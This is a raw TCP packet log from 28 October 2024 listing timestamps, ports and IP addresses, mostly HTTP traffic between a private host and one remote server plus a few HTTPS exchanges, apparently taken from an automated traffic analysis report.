Oct 28, 2024 19:46:18.451802969 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.451834917 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.451853991 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.504173040 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.753515959 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.765445948 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.085897923 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.091420889 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.148348093 CET	443	49727	172.217.16.196	192.168.2.16
Oct 28, 2024 19:46:19.148725033 CET	49727	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:46:19.148756027 CET	443	49727	172.217.16.196	192.168.2.16
Oct 28, 2024 19:46:19.150193930 CET	443	49727	172.217.16.196	192.168.2.16
Oct 28, 2024 19:46:19.150276899 CET	49727	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:46:19.150536060 CET	49727	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:46:19.150619984 CET	443	49727	172.217.16.196	192.168.2.16
Oct 28, 2024 19:46:19.204129934 CET	49727	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:46:19.204159975 CET	443	49727	172.217.16.196	192.168.2.16
Oct 28, 2024 19:46:19.251096010 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.252123117 CET	49727	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:46:19.280273914 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.288023949 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.442967892 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.443026066 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.443063974 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.443099976 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.443207979 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.443243980 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.443270922 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.443280935 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.443335056 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.484765053 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.490484953 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.647103071 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.676594019 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.682032108 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.838654995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.838789940 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.838856936 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.838893890 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.838942051 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.838989019 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.839030027 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.839032888 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.839075089 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.839175940 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.839210987 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.839251995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.839257956 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.839282036 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.839333057 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.839418888 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.839452028 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.839484930 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.839508057 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.839519978 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.839570999 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.840918064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.840975046 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.841007948 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.841022968 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.841038942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.841089010 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.841099977 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.841135979 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.841175079 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.841181040 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.841209888 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.841243982 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.841257095 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.841279030 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.841314077 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.841325045 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.841346025 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.841379881 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.841397047 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.841413021 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.841448069 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.841464996 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.841500044 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.841532946 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.841550112 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.841569901 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:19.841614962 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.907960892 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:19.913465977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.094052076 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.094153881 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.094189882 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.094216108 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.094332933 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.094383001 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.094394922 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.094418049 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.094453096 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.094460964 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.094729900 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.094763994 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.094784021 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.094799042 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.094832897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.094844103 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.094866991 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.094901085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.094916105 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.094933987 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.094968081 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.094983101 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.095002890 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.095052004 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.149188042 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.157160997 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.316950083 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.317281008 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.317348003 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.317353964 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.317389965 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.317439079 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.317502975 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.317534924 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.317569971 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.317583084 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.317867041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.317898989 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.317913055 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.317948103 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.317980051 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.317996979 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.318013906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.318047047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.318063974 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.318083048 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.318125963 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.318370104 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.318419933 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.318453074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.318464041 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.318483114 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.318515062 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.318531036 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.318548918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.318583965 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.318593979 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.318873882 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.318922997 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.318927050 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.318957090 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.318984985 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.319009066 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.319017887 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.319052935 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.319067955 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.319086075 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.319118977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.319134951 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.319148064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.319180965 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.319192886 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.319215059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.319248915 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.319262028 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.319300890 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.319353104 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.319356918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.363513947 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.363571882 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.363579035 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.363605022 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.363640070 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.363648891 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.363672972 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.363711119 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.363725901 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.363915920 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.363950014 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.363965034 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.364001989 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.364043951 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.364144087 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.364176989 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.364211082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.364227057 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.364248037 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.364294052 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.364460945 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.364495039 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.364528894 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.364536047 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.364563942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.364609957 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.364772081 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.364801884 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.364835978 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.364845037 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.364870071 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.364902973 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.364912987 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.364937067 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.364969015 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.364984035 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.365194082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.365221977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.365237951 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.365256071 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.365289927 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.365303040 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.365324020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.365359068 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.365372896 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.365612984 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.365648985 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.365659952 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.365681887 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.365715027 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.365731955 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.365751028 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.365793943 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.366133928 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.366167068 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.366214991 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.366215944 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.366250038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.366285086 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.366296053 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.366318941 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.366353035 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.366367102 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.366385937 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.366419077 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.366430998 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.366451979 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.366497993 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.366502047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.367074966 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.367108107 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.367125988 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.367144108 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.367177010 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.367191076 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.367209911 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.367244005 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.367260933 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.367280006 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.367327929 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.367331028 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.367363930 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.367396116 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.367403030 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.367429972 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.367461920 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.367480993 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.368066072 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.368098974 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.368119955 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.368129969 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.368165970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.368180990 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.368197918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.368231058 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.368241072 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.368266106 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.368299961 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.368319035 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.368331909 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.368366957 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.368381023 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.368395090 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.368439913 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.378571033 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.418412924 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.418504953 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.418539047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.418559074 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.418591976 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.418644905 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.418935061 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.418987989 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.419040918 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.419101000 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.419135094 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.419184923 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.419250011 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.419301987 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.419348001 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.419354916 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.419389963 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.419435024 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.419668913 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.419718981 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.419764996 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.419771910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.419817924 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.419850111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.419862986 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.419884920 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.419919968 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.419939041 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.419951916 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.419987917 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.420003891 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.420525074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.420557976 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.420567989 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.420592070 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.420624018 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.420634985 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.420656919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.420689106 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.420706987 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.420722961 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.420757055 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.420767069 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.420790911 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.420840979 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.421127081 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.421178102 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.421211004 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.421221018 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.421243906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.421278954 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.421289921 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.421313047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.421346903 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.421356916 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.421380997 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.421416044 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.421426058 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.421452045 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.421497107 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.422075033 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.422107935 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.422142029 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.422157049 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.422175884 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.422210932 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.422219992 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.422244072 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.422282934 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.422295094 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.422316074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.422353029 CET	80	49726	166.1.160.211	192.168.2.16
